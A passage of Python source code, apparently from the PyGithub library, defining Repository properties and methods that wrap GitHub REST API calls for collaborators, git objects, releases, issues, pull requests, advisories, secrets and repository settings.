return self._mirror_url.value @property def name(self) -> str: """ :type: string """ self._completeIfNotSet(self._name) return self._name.value @property def network_count(self) -> int: """ :type: integer """ self._completeIfNotSet(self._network_count) return self._network_count.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def notifications_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._notifications_url) return self._notifications_url.value @property def open_issues(self) -> int: """ :type: integer """ self._completeIfNotSet(self._open_issues) return self._open_issues.value @property def open_issues_count(self) -> int: """ :type: integer """ self._completeIfNotSet(self._open_issues_count) return self._open_issues_count.value @property def organization(self) -> Organization: """ :type: :class:`github.Organization.Organization` """ self._completeIfNotSet(self._organization) return self._organization.value @property def owner(self) -> NamedUser: """ :type: :class:`github.NamedUser.NamedUser` """ self._completeIfNotSet(self._owner) return self._owner.value @property def parent(self) -> Repository: """ :type: :class:`github.Repository.Repository` """ self._completeIfNotSet(self._parent) return self._parent.value @property def permissions(self) -> Permissions: """ :type: :class:`github.Permissions.Permissions` """ self._completeIfNotSet(self._permissions) return self._permissions.value @property def private(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._private) return self._private.value @property def pulls_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._pulls_url) return self._pulls_url.value @property def pushed_at(self) -> datetime: """ :type: datetime """ self._completeIfNotSet(self._pushed_at) return self._pushed_at.value @property def releases_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._releases_url) return self._releases_url.value @property def role_name(self) -> str: self._completeIfNotSet(self._role_name) return self._role_name.value @property def security_and_analysis(self) -> SecurityAndAnalysis: """ :type: :class:`github.SecurityAndAnalysis.SecurityAndAnalysis` """ self._completeIfNotSet(self._security_and_analysis) return self._security_and_analysis.value @property def size(self) -> int: """ :type: integer """ self._completeIfNotSet(self._size) return self._size.value @property def source(self) -> Repository | None: """ :type: :class:`github.Repository.Repository` """ self._completeIfNotSet(self._source) return self._source.value @property def squash_merge_commit_message(self) -> str: """ :type: string """ self._completeIfNotSet(self._squash_merge_commit_message) return self._squash_merge_commit_message.value @property def squash_merge_commit_title(self) -> str: """ :type: string """ self._completeIfNotSet(self._squash_merge_commit_title) return self._squash_merge_commit_title.value @property def ssh_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._ssh_url) return self._ssh_url.value @property def stargazers_count(self) -> int: """ :type: integer """ self._completeIfNotSet(self._stargazers_count) # pragma no cover (Should be covered) return self._stargazers_count.value # pragma no cover (Should be covered) @property def stargazers_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._stargazers_url) return self._stargazers_url.value @property def starred_at(self) -> str: self._completeIfNotSet(self._starred_at) return self._starred_at.value @property def statuses_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._statuses_url) return self._statuses_url.value @property def subscribers_count(self) -> int: """ :type: integer """ self._completeIfNotSet(self._subscribers_count) return self._subscribers_count.value @property def subscribers_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._subscribers_url) return self._subscribers_url.value @property def subscription_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._subscription_url) return self._subscription_url.value @property def svn_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._svn_url) return self._svn_url.value @property def tags_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._tags_url) return self._tags_url.value @property def teams_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._teams_url) return self._teams_url.value @property def temp_clone_token(self) -> str: self._completeIfNotSet(self._temp_clone_token) return self._temp_clone_token.value @property def template_repository(self) -> github.Repository.Repository: self._completeIfNotSet(self._template_repository) return self._template_repository.value @property def topics(self) -> list[str]: """ :type: list of strings """ self._completeIfNotSet(self._topics) return self._topics.value @property def trees_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._trees_url) return self._trees_url.value @property def updated_at(self) -> datetime: """ :type: datetime """ self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: if is_undefined(self._url) and is_defined(self._owner) and is_defined(self._name): self._url = self._makeStringAttribute(self._requester.base_url + f"/repos/{self.owner.login}/{self.name}") self._completeIfNotSet(self._url) return self._url.value @property def use_squash_pr_title_as_default(self) -> bool: self._completeIfNotSet(self._use_squash_pr_title_as_default) return self._use_squash_pr_title_as_default.value @property def visibility(self) -> str: self._completeIfNotSet(self._visibility) return self._visibility.value @property def watchers(self) -> int: self._completeIfNotSet(self._watchers) return self._watchers.value @property def watchers_count(self) -> int: self._completeIfNotSet(self._watchers_count) return self._watchers_count.value @property def web_commit_signoff_required(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._web_commit_signoff_required) return self._web_commit_signoff_required.value def add_to_collaborators(self, collaborator: str | NamedUser, permission: Opt[str] = NotSet) -> Invitation | None: """ :calls: `PUT /repos/{owner}/{repo}/collaborators/{user} `_ :param collaborator: string or :class:`github.NamedUser.NamedUser` :param permission: string 'pull', 'push', 'admin', 'maintain', 'triage', or a custom repository role name, if the owning organization has defined any :rtype: None """ assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance(collaborator, str), collaborator assert is_optional(permission, str), permission if isinstance(collaborator, github.NamedUser.NamedUser): collaborator = collaborator._identity else: collaborator = urllib.parse.quote(collaborator) if is_defined(permission): put_parameters = {"permission": permission} else: put_parameters = None headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/collaborators/{collaborator}", input=put_parameters ) # return an invitation object if there's data returned by the API. If data is empty # there's a pending invitation for the given user. return ( github.Invitation.Invitation(self._requester, headers, data, completed=True) if data is not None else None ) def get_collaborator_permission(self, collaborator: str | NamedUser) -> str: """ :calls: `GET /repos/{owner}/{repo}/collaborators/{username}/permission `_ :param collaborator: string or :class:`github.NamedUser.NamedUser` :rtype: string """ assert isinstance(collaborator, github.NamedUser.NamedUser) or isinstance(collaborator, str), collaborator if isinstance(collaborator, github.NamedUser.NamedUser): collaborator = collaborator._identity else: collaborator = urllib.parse.quote(collaborator) headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/collaborators/{collaborator}/permission", ) return data["permission"] def get_pending_invitations(self) -> PaginatedList[Invitation]: """ :calls: `GET /repos/{owner}/{repo}/invitations `_ :rtype: :class:`PaginatedList` of :class:`github.Invitation.Invitation` """ return PaginatedList( github.Invitation.Invitation, self._requester, f"{self.url}/invitations", None, ) def remove_invitation(self, invite_id: int) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/invitations/{invitation_id} `_ :rtype: None """ assert isinstance(invite_id, int), invite_id headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/invitations/{invite_id}") def compare(self, base: str, head: str) -> Comparison: """ :calls: `GET /repos/{owner}/{repo}/compare/{base...:head} `_ :param base: string :param head: string :rtype: :class:`github.Comparison.Comparison` """ assert isinstance(base, str), base assert isinstance(head, str), head base = urllib.parse.quote(base) head = urllib.parse.quote(head) # the compare API has a per_page default of 250, which is different to Consts.DEFAULT_PER_PAGE per_page = self._requester.per_page if self._requester.per_page != Consts.DEFAULT_PER_PAGE else 250 # only with page=1 we get the pagination headers for the commits element params = {"page": 1, "per_page": per_page} headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/compare/{base}...{head}", params) return github.Comparison.Comparison(self._requester, headers, data, completed=True) def create_autolink( self, key_prefix: str, url_template: str, is_alphanumeric: Opt[bool] = NotSet ) -> github.Autolink.Autolink: """ :calls: `POST /repos/{owner}/{repo}/autolinks `_ :param key_prefix: string :param url_template: string :param is_alphanumeric: bool :rtype: :class:`github.Autolink.Autolink` """ assert isinstance(key_prefix, str), key_prefix assert isinstance(url_template, str), url_template assert is_optional(is_alphanumeric, bool), is_alphanumeric post_parameters = NotSet.remove_unset_items( {"key_prefix": key_prefix, "url_template": url_template, "is_alphanumeric": is_alphanumeric} ) headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/autolinks", input=post_parameters) return github.Autolink.Autolink(self._requester, headers, data) def create_git_blob(self, content: str, encoding: str) -> GitBlob: """ :calls: `POST /repos/{owner}/{repo}/git/blobs `_ :param content: string :param encoding: string :rtype: :class:`github.GitBlob.GitBlob` """ assert isinstance(content, str), content assert isinstance(encoding, str), encoding post_parameters = { "content": content, "encoding": encoding, } headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/git/blobs", input=post_parameters) return github.GitBlob.GitBlob(self._requester, headers, data, completed=True) def create_git_commit( self, message: str, tree: GitTree, parents: list[GitCommit], author: Opt[InputGitAuthor] = NotSet, committer: Opt[InputGitAuthor] = NotSet, ) -> GitCommit: """ :calls: `POST /repos/{owner}/{repo}/git/commits `_ :param message: string :param tree: :class:`github.GitTree.GitTree` :param parents: list of :class:`github.GitCommit.GitCommit` :param author: :class:`github.InputGitAuthor.InputGitAuthor` :param committer: :class:`github.InputGitAuthor.InputGitAuthor` :rtype: :class:`github.GitCommit.GitCommit` """ assert isinstance(message, str), message assert isinstance(tree, github.GitTree.GitTree), tree assert all(isinstance(element, github.GitCommit.GitCommit) for element in parents), parents assert is_optional(author, github.InputGitAuthor), author assert is_optional(committer, github.InputGitAuthor), committer post_parameters: dict[str, Any] = { "message": message, "tree": tree._identity, "parents": [element._identity for element in parents], } if is_defined(author): post_parameters["author"] = author._identity if is_defined(committer): post_parameters["committer"] = committer._identity headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/git/commits", input=post_parameters) return github.GitCommit.GitCommit(self._requester, headers, data, completed=True) def create_git_ref(self, ref: str, sha: str) -> GitRef: """ :calls: `POST /repos/{owner}/{repo}/git/refs `_ :param ref: string :param sha: string :rtype: :class:`github.GitRef.GitRef` """ assert isinstance(ref, str), ref assert isinstance(sha, str), sha post_parameters = { "ref": ref, "sha": sha, } headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/git/refs", input=post_parameters) return github.GitRef.GitRef(self._requester, headers, data, completed=True) # TODO: v3: reorder arguments and add default value `NotSet` where `Opt[str]` def create_git_tag_and_release( self, tag: str, tag_message: str, release_name: Opt[str], release_message: Opt[str], object: str, type: str, tagger: Opt[InputGitAuthor] = NotSet, draft: bool = False, prerelease: bool = False, generate_release_notes: bool = False, make_latest: str = "true", ) -> GitRelease: """ Convenience function that calls :meth:`Repository.create_git_tag` and :meth:`Repository.create_git_release`. :param tag: string :param tag_message: string :param release_name: string :param release_message: string :param object: string :param type: string :param tagger: :class:github.InputGitAuthor.InputGitAuthor :param draft: bool :param prerelease: bool :param generate_release_notes: bool :param make_latest: string :rtype: :class:`github.GitRelease.GitRelease` """ self.create_git_tag(tag, tag_message, object, type, tagger) return self.create_git_release( tag, release_name, release_message, draft, prerelease, generate_release_notes, target_commitish=object, make_latest=make_latest, ) def create_git_release( self, tag: str, name: Opt[str] = NotSet, message: Opt[str] = NotSet, draft: bool = False, prerelease: bool = False, generate_release_notes: bool = False, target_commitish: Opt[str] = NotSet, make_latest: str = "true", ) -> GitRelease: """ :calls: `POST /repos/{owner}/{repo}/releases `_ :param tag: string :param name: string :param message: string :param draft: bool :param prerelease: bool :param generate_release_notes: bool :param target_commitish: string or :class:`github.Branch.Branch` or :class:`github.Commit.Commit` or :class:`github.GitCommit.GitCommit` :param make_latest: string :rtype: :class:`github.GitRelease.GitRelease` """ assert isinstance(tag, str), tag assert isinstance(generate_release_notes, bool), generate_release_notes assert isinstance(name, str) or generate_release_notes and is_optional(name, str), name assert isinstance(message, str) or generate_release_notes and is_optional(message, str), message assert isinstance(draft, bool), draft assert isinstance(prerelease, bool), prerelease assert is_optional( target_commitish, (str, github.Branch.Branch, github.Commit.Commit, github.GitCommit.GitCommit), ), target_commitish post_parameters = { "tag_name": tag, "draft": draft, "prerelease": prerelease, "generate_release_notes": generate_release_notes, } assert make_latest in ["true", "false", "legacy"], make_latest if is_defined(name): post_parameters["name"] = name if is_defined(message): post_parameters["body"] = message if isinstance(target_commitish, str): post_parameters["target_commitish"] = target_commitish elif isinstance(target_commitish, github.Branch.Branch): post_parameters["target_commitish"] = target_commitish.name elif isinstance(target_commitish, (github.Commit.Commit, github.GitCommit.GitCommit)): post_parameters["target_commitish"] = target_commitish.sha if is_defined(make_latest): post_parameters["make_latest"] = make_latest headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/releases", input=post_parameters) return github.GitRelease.GitRelease(self._requester, headers, data, completed=True) def create_git_tag( self, tag: str, message: str, object: str, type: str, tagger: Opt[InputGitAuthor] = NotSet, ) -> GitTag: """ :calls: `POST /repos/{owner}/{repo}/git/tags `_ """ assert isinstance(tag, str), tag assert isinstance(message, str), message assert isinstance(object, str), object assert isinstance(type, str), type assert is_optional(tagger, github.InputGitAuthor), tagger post_parameters: dict[str, Any] = { "tag": tag, "message": message, "object": object, "type": type, } if is_defined(tagger): post_parameters["tagger"] = tagger._identity headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/git/tags", input=post_parameters) return github.GitTag.GitTag(self._requester, headers, data, completed=True) def create_git_tree(self, tree: list[InputGitTreeElement], base_tree: Opt[GitTree] = NotSet) -> GitTree: """ :calls: `POST /repos/{owner}/{repo}/git/trees `_ :param tree: list of :class:`github.InputGitTreeElement.InputGitTreeElement` :param base_tree: :class:`github.GitTree.GitTree` :rtype: :class:`github.GitTree.GitTree` """ assert all(isinstance(element, github.InputGitTreeElement) for element in tree), tree assert is_optional(base_tree, github.GitTree.GitTree), base_tree post_parameters: dict[str, Any] = { "tree": [element._identity for element in tree], } if is_defined(base_tree): post_parameters["base_tree"] = base_tree._identity headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/git/trees", input=post_parameters) return github.GitTree.GitTree(self._requester, headers, data, completed=True) def create_hook( self, name: str, config: dict[str, str], events: Opt[list[str]] = NotSet, active: Opt[bool] = NotSet, ) -> Hook: """ :calls: `POST /repos/{owner}/{repo}/hooks `_ :param name: string :param config: dict :param events: list of string :param active: bool :rtype: :class:`github.Hook.Hook` """ assert isinstance(name, str), name assert isinstance(config, dict), config assert is_optional_list(events, str), events assert is_optional(active, bool), active post_parameters = NotSet.remove_unset_items( {"name": name, "config": config, "events": events, "active": active} ) headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/hooks", input=post_parameters) return github.Hook.Hook(self._requester, headers, data, completed=True) def create_issue( self, title: str, body: Opt[str] = NotSet, assignee: NamedUser | Opt[str] = NotSet, milestone: Opt[Milestone] = NotSet, labels: list[Label] | Opt[list[str]] = NotSet, assignees: Opt[list[str]] | list[NamedUser] = NotSet, ) -> Issue: """ :calls: `POST /repos/{owner}/{repo}/issues `_ :param title: string :param body: string :param assignee: string or :class:`github.NamedUser.NamedUser` :param assignees: list of string or :class:`github.NamedUser.NamedUser` :param milestone: :class:`github.Milestone.Milestone` :param labels: list of :class:`github.Label.Label` :rtype: :class:`github.Issue.Issue` """ assert isinstance(title, str), title assert is_optional(body, str), body assert is_optional(assignee, (str, github.NamedUser.NamedUser)), assignee assert is_optional_list(assignees, (github.NamedUser.NamedUser, str)), assignees assert is_optional(milestone, github.Milestone.Milestone), milestone assert is_optional_list(labels, (github.Label.Label, str)), labels post_parameters: dict[str, Any] = { "title": title, } if is_defined(body): post_parameters["body"] = body if is_defined(assignee): if isinstance(assignee, github.NamedUser.NamedUser): post_parameters["assignee"] = assignee._identity else: post_parameters["assignee"] = assignee if is_defined(assignees): post_parameters["assignees"] = [ element._identity if isinstance(element, github.NamedUser.NamedUser) else element for element in assignees # type: ignore ] if is_defined(milestone): post_parameters["milestone"] = milestone._identity if is_defined(labels): post_parameters["labels"] = [ element.name if isinstance(element, github.Label.Label) else element for element in labels # type: ignore ] headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/issues", input=post_parameters) return github.Issue.Issue(self._requester, headers, data, completed=True) def create_key(self, title: str, key: str, read_only: bool = False) -> RepositoryKey: """ :calls: `POST /repos/{owner}/{repo}/keys `_ :param title: string :param key: string :param read_only: bool :rtype: :class:`github.RepositoryKey.RepositoryKey` """ assert isinstance(title, str), title assert isinstance(key, str), key assert isinstance(read_only, bool), read_only post_parameters = { "title": title, "key": key, "read_only": read_only, } headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/keys", input=post_parameters) return github.RepositoryKey.RepositoryKey(self._requester, headers, data, completed=True) def create_label(self, name: str, color: str, description: Opt[str] = NotSet) -> Label: """ :calls: `POST /repos/{owner}/{repo}/labels `_ :param name: string :param color: string :param description: string :rtype: :class:`github.Label.Label` """ assert isinstance(name, str), name assert isinstance(color, str), color assert is_optional(description, str), description post_parameters = { "name": name, "color": color, } if is_defined(description): post_parameters["description"] = description headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/labels", input=post_parameters, headers={"Accept": Consts.mediaTypeLabelDescriptionSearchPreview}, ) return github.Label.Label(self._requester, headers, data, completed=True) def create_milestone( self, title: str, state: Opt[str] = NotSet, description: Opt[str] = NotSet, due_on: Opt[date] = NotSet, ) -> Milestone: """ :calls: `POST /repos/{owner}/{repo}/milestones `_ :param title: string :param state: string :param description: string :param due_on: datetime :rtype: :class:`github.Milestone.Milestone` """ assert isinstance(title, str), title assert is_optional(state, str), state assert is_optional(description, str), description assert is_optional(due_on, (datetime, date)), due_on post_parameters = { "title": title, } if is_defined(state): post_parameters["state"] = state if is_defined(description): post_parameters["description"] = description if is_defined(due_on): if isinstance(due_on, date): post_parameters["due_on"] = due_on.strftime("%Y-%m-%dT%H:%M:%SZ") else: post_parameters["due_on"] = due_on.isoformat() headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/milestones", input=post_parameters) return github.Milestone.Milestone(self._requester, headers, data, completed=True) def create_project(self, name: str, body: Opt[str] = NotSet) -> Project: """ :calls: `POST /repos/{owner}/{repo}/projects `_ :param name: string :param body: string :rtype: :class:`github.Project.Project` """ assert isinstance(name, str), name assert is_optional(body, str), body post_parameters = { "name": name, } import_header = {"Accept": Consts.mediaTypeProjectsPreview} if is_defined(body): post_parameters["body"] = body headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/projects", headers=import_header, input=post_parameters ) return github.Project.Project(self._requester, headers, data, completed=True) def create_pull( self, base: str, head: str, *, title: Opt[str] = NotSet, body: Opt[str] = NotSet, maintainer_can_modify: Opt[bool] = NotSet, draft: Opt[bool] = NotSet, issue: Opt[github.Issue.Issue] = NotSet, ) -> github.PullRequest.PullRequest: """ :calls: `POST /repos/{owner}/{repo}/pulls `_ """ assert isinstance(base, str), base assert isinstance(head, str), head assert is_optional(title, str), title assert is_optional(body, str), body assert is_optional(maintainer_can_modify, bool), maintainer_can_modify assert is_optional(draft, bool), draft assert is_optional(issue, github.Issue.Issue), issue post_parameters = NotSet.remove_unset_items( { "base": base, "head": head, "title": title, "body": body, "maintainer_can_modify": maintainer_can_modify, "draft": draft, } ) if is_defined(issue): post_parameters["issue"] = issue._identity headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/pulls", input=post_parameters) return github.PullRequest.PullRequest(self._requester, headers, data, completed=True) def create_repository_advisory( self, summary: str, description: str, severity_or_cvss_vector_string: str, cve_id: str | None = None, vulnerabilities: Iterable[github.AdvisoryVulnerability.AdvisoryVulnerabilityInput] | None = None, cwe_ids: Iterable[str] | None = None, credits: Iterable[github.AdvisoryCredit.AdvisoryCredit] | None = None, ) -> github.RepositoryAdvisory.RepositoryAdvisory: """ :calls: `POST /repos/{owner}/{repo}/security-advisories `_ :param summary: string :param description: string :param severity_or_cvss_vector_string: string :param cve_id: string :param vulnerabilities: iterable of :class:`github.AdvisoryVulnerability.AdvisoryVulnerabilityInput` :param cwe_ids: iterable of string :param credits: iterable of :class:`github.AdvisoryCredit.AdvisoryCredit` :rtype: :class:`github.RepositoryAdvisory.RepositoryAdvisory` """ return self.__create_repository_advisory( summary=summary, description=description, severity_or_cvss_vector_string=severity_or_cvss_vector_string, cve_id=cve_id, vulnerabilities=vulnerabilities, cwe_ids=cwe_ids, credits=credits, private_vulnerability_reporting=False, ) def report_security_vulnerability( self, summary: str, description: str, severity_or_cvss_vector_string: str, cve_id: str | None = None, vulnerabilities: Iterable[github.AdvisoryVulnerability.AdvisoryVulnerabilityInput] | None = None, cwe_ids: Iterable[str] | None = None, credits: Iterable[github.AdvisoryCredit.AdvisoryCredit] | None = None, ) -> github.RepositoryAdvisory.RepositoryAdvisory: """ :calls: `POST /repos/{owner}/{repo}/security-advisories/reports `_ :param summary: string :param description: string :param severity_or_cvss_vector_string: string :param cve_id: string :param vulnerabilities: iterable of :class:`github.AdvisoryVulnerability.AdvisoryVulnerabilityInput` :param cwe_ids: iterable of string :param credits: iterable of :class:`github.AdvisoryCredit.AdvisoryCredit` :rtype: :class:`github.RepositoryAdvisory.RepositoryAdvisory` """ return self.__create_repository_advisory( summary=summary, description=description, severity_or_cvss_vector_string=severity_or_cvss_vector_string, cve_id=cve_id, vulnerabilities=vulnerabilities, cwe_ids=cwe_ids, credits=credits, private_vulnerability_reporting=True, ) def __create_repository_advisory( self, summary: str, description: str, severity_or_cvss_vector_string: str, cve_id: str | None, vulnerabilities: Iterable[github.AdvisoryVulnerability.AdvisoryVulnerabilityInput] | None, cwe_ids: Iterable[str] | None, credits: Iterable[github.AdvisoryCredit.AdvisoryCredit] | None, private_vulnerability_reporting: bool, ) -> github.RepositoryAdvisory.RepositoryAdvisory: if vulnerabilities is None: vulnerabilities = [] if cwe_ids is None: cwe_ids = [] assert isinstance(summary, str), summary assert isinstance(description, str), description assert isinstance(severity_or_cvss_vector_string, str), severity_or_cvss_vector_string assert isinstance(cve_id, (str, type(None))), cve_id assert isinstance(vulnerabilities, Iterable), vulnerabilities for vulnerability in vulnerabilities: github.AdvisoryVulnerability.AdvisoryVulnerability._validate_vulnerability(vulnerability) assert isinstance(cwe_ids, Iterable), cwe_ids assert all(isinstance(element, str) for element in cwe_ids), cwe_ids assert isinstance(credits, (Iterable, type(None))), credits if credits is not None: for credit in credits: github.AdvisoryCredit.AdvisoryCredit._validate_credit(credit) post_parameters = { "summary": summary, "description": description, "vulnerabilities": [ github.AdvisoryVulnerability.AdvisoryVulnerability._to_github_dict(vulnerability) for vulnerability in vulnerabilities ], "cwe_ids": list(cwe_ids), } if cve_id is not None: post_parameters["cve_id"] = cve_id if credits is not None: post_parameters["credits"] = [ github.AdvisoryCredit.AdvisoryCredit._to_github_dict(credit) for credit in credits ] if severity_or_cvss_vector_string.startswith("CVSS:"): post_parameters["cvss_vector_string"] = severity_or_cvss_vector_string else: post_parameters["severity"] = severity_or_cvss_vector_string if private_vulnerability_reporting: headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/security-advisories/reports", input=post_parameters ) else: headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/security-advisories", input=post_parameters ) return github.RepositoryAdvisory.RepositoryAdvisory(self._requester, headers, data) def create_repository_dispatch(self, event_type: str, client_payload: Opt[dict[str, Any]] = NotSet) -> bool: """ :calls: POST /repos/{owner}/{repo}/dispatches :param event_type: string :param client_payload: dict :rtype: bool """ assert isinstance(event_type, str), event_type assert is_optional(client_payload, dict), client_payload post_parameters = NotSet.remove_unset_items({"event_type": event_type, "client_payload": client_payload}) status, headers, data = self._requester.requestJson("POST", f"{self.url}/dispatches", input=post_parameters) return status == 204 def create_secret( self, secret_name: str, unencrypted_value: str, secret_type: str = "actions", ) -> github.Secret.Secret: """ :calls: `PUT /repos/{owner}/{repo}/{secret_type}/secrets/{secret_name} `_ :param secret_type: string options actions or dependabot """ assert isinstance(secret_name, str), secret_name assert isinstance(unencrypted_value, str), unencrypted_value assert secret_type in ["actions", "dependabot"], "secret_type should be actions or dependabot" secret_name = urllib.parse.quote(secret_name) public_key = self.get_public_key(secret_type=secret_type) payload = public_key.encrypt(unencrypted_value) put_parameters = { "key_id": public_key.key_id, "encrypted_value": payload, } self._requester.requestJsonAndCheck( "PUT", f"{self.url}/{secret_type}/secrets/{secret_name}", input=put_parameters ) return github.Secret.Secret( requester=self._requester, headers={}, attributes={ "name": secret_name, "url": f"{self.url}/{secret_type}/secrets/{secret_name}", }, completed=False, ) def get_secrets( self, secret_type: str = "actions", ) -> PaginatedList[github.Secret.Secret]: """ Gets all repository secrets :param secret_type: string options actions or dependabot. """ assert secret_type in ["actions", "dependabot"], "secret_type should be actions or dependabot" return PaginatedList( github.Secret.Secret, self._requester, f"{self.url}/{secret_type}/secrets", None, attributesTransformer=PaginatedList.override_attributes( {"secrets_url": f"{self.url}/{secret_type}/secrets"} ), list_item="secrets", ) def get_secret(self, secret_name: str, secret_type: str = "actions") -> github.Secret.Secret: """ :calls: 'GET /repos/{owner}/{repo}/actions/secrets/{secret_name} `_ :param secret_type: string options actions or dependabot """ assert isinstance(secret_name, str), secret_name assert secret_type in ["actions", "dependabot"], "secret_type should be actions or dependabot" secret_name = urllib.parse.quote(secret_name) return github.Secret.Secret( requester=self._requester, headers={}, attributes={"url": f"{self.url}/{secret_type}/secrets/{secret_name}"}, completed=False, ) def create_variable(self, variable_name: str, value: str) -> github.Variable.Variable: """ :calls: `POST /repos/{owner}/{repo}/actions/variables/{variable_name} `_ """ assert isinstance(variable_name, str), variable_name assert isinstance(value, str), value post_parameters = { "name": variable_name, "value": value, } self._requester.requestJsonAndCheck("POST", f"{self.url}/actions/variables", input=post_parameters) return github.Variable.Variable( self._requester, headers={}, attributes={ "name": variable_name, "value": value, "url": f"{self.url}/actions/variables/{variable_name}", }, completed=False, ) def get_variables(self) -> PaginatedList[github.Variable.Variable]: """ Gets all repository variables :rtype: :class:`PaginatedList` of :class:`github.Variable.Variable` """ return PaginatedList( github.Variable.Variable, self._requester, f"{self.url}/actions/variables", None, attributesTransformer=PaginatedList.override_attributes({"variables_url": f"{self.url}/actions/variables"}), list_item="variables", ) def get_variable(self, variable_name: str) -> github.Variable.Variable: """ :calls: 'GET /orgs/{org}/actions/variables/{variable_name} `_ :param variable_name: string :rtype: github.Variable.Variable """ assert isinstance(variable_name, str), variable_name variable_name = urllib.parse.quote(variable_name) return github.Variable.Variable( requester=self._requester, headers={}, attributes={"url": f"{self.url}/actions/variables/{variable_name}"}, completed=False, ) def delete_secret(self, secret_name: str, secret_type: str = "actions") -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/{secret_type}/secrets/{secret_name} `_ :param secret_name: string :param secret_type: string options actions or dependabot :rtype: bool """ assert isinstance(secret_name, str), secret_name assert secret_type in ["actions", "dependabot"], "secret_type should be actions or dependabot" secret_name = urllib.parse.quote(secret_name) status, headers, data = self._requester.requestJson("DELETE", f"{self.url}/{secret_type}/secrets/{secret_name}") return status == 204 def delete_variable(self, variable_name: str) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/actions/variables/{variable_name} `_ :param variable_name: string :rtype: bool """ assert isinstance(variable_name, str), variable_name variable_name = urllib.parse.quote(variable_name) status, headers, data = self._requester.requestJson("DELETE", f"{self.url}/actions/variables/{variable_name}") return status == 204 def create_source_import( self, vcs: str, vcs_url: str, vcs_username: Opt[str] = NotSet, vcs_password: Opt[str] = NotSet, ) -> SourceImport: """ :calls: `PUT /repos/{owner}/{repo}/import `_ :param vcs: string :param vcs_url: string :param vcs_username: string :param vcs_password: string :rtype: :class:`github.SourceImport.SourceImport` """ assert isinstance(vcs, str), vcs assert isinstance(vcs_url, str), vcs_url assert is_optional(vcs_username, str), vcs_username assert is_optional(vcs_password, str), vcs_password put_parameters = {"vcs": vcs, "vcs_url": vcs_url} if is_defined(vcs_username): put_parameters["vcs_username"] = vcs_username if is_defined(vcs_password): put_parameters["vcs_password"] = vcs_password import_header = {"Accept": Consts.mediaTypeImportPreview} headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/import", headers=import_header, input=put_parameters ) return github.SourceImport.SourceImport(self._requester, headers, data, completed=False) def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo} `_ :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit( self, name: str | None = None, description: Opt[str] = NotSet, homepage: Opt[str] = NotSet, private: Opt[bool] = NotSet, visibility: Opt[str] = NotSet, has_issues: Opt[bool] = NotSet, has_projects: Opt[bool] = NotSet, has_wiki: Opt[bool] = NotSet, has_discussions: Opt[bool] = NotSet, is_template: Opt[bool] = NotSet, default_branch: Opt[str] = NotSet, allow_squash_merge: Opt[bool] = NotSet, allow_merge_commit: Opt[bool] = NotSet, allow_rebase_merge: Opt[bool] = NotSet, allow_auto_merge: Opt[bool] = NotSet, delete_branch_on_merge: Opt[bool] = NotSet, allow_update_branch: Opt[bool] = NotSet, use_squash_pr_title_as_default: Opt[bool] = NotSet, squash_merge_commit_title: Opt[str] = NotSet, squash_merge_commit_message: Opt[str] = NotSet, merge_commit_title: Opt[str] = NotSet, merge_commit_message: Opt[str] = NotSet, archived: Opt[bool] = NotSet, allow_forking: Opt[bool] = NotSet, web_commit_signoff_required: Opt[bool] = NotSet, ) -> None: """ :calls: `PATCH /repos/{owner}/{repo} `_ """ if name is None: name = self.name assert isinstance(name, str), name assert is_optional(description, str), description assert is_optional(homepage, str), homepage assert is_optional(private, bool), private assert visibility in ["public", "private", "internal", NotSet], visibility assert is_optional(has_issues, bool), has_issues assert is_optional(has_projects, bool), has_projects assert is_optional(has_wiki, bool), has_wiki assert is_optional(has_discussions, bool), has_discussions assert is_optional(is_template, bool), is_template assert is_optional(default_branch, str), default_branch assert is_optional(allow_squash_merge, bool), allow_squash_merge assert is_optional(allow_merge_commit, bool), allow_merge_commit assert is_optional(allow_rebase_merge, bool), allow_rebase_merge assert is_optional(allow_auto_merge, bool), allow_auto_merge assert is_optional(delete_branch_on_merge, bool), delete_branch_on_merge assert is_optional(allow_update_branch, bool), allow_update_branch assert is_optional(use_squash_pr_title_as_default, bool), use_squash_pr_title_as_default assert squash_merge_commit_title in ["PR_TITLE", "COMMIT_OR_PR_TITLE", NotSet], squash_merge_commit_title assert squash_merge_commit_message in [ "PR_BODY", "COMMIT_MESSAGES", 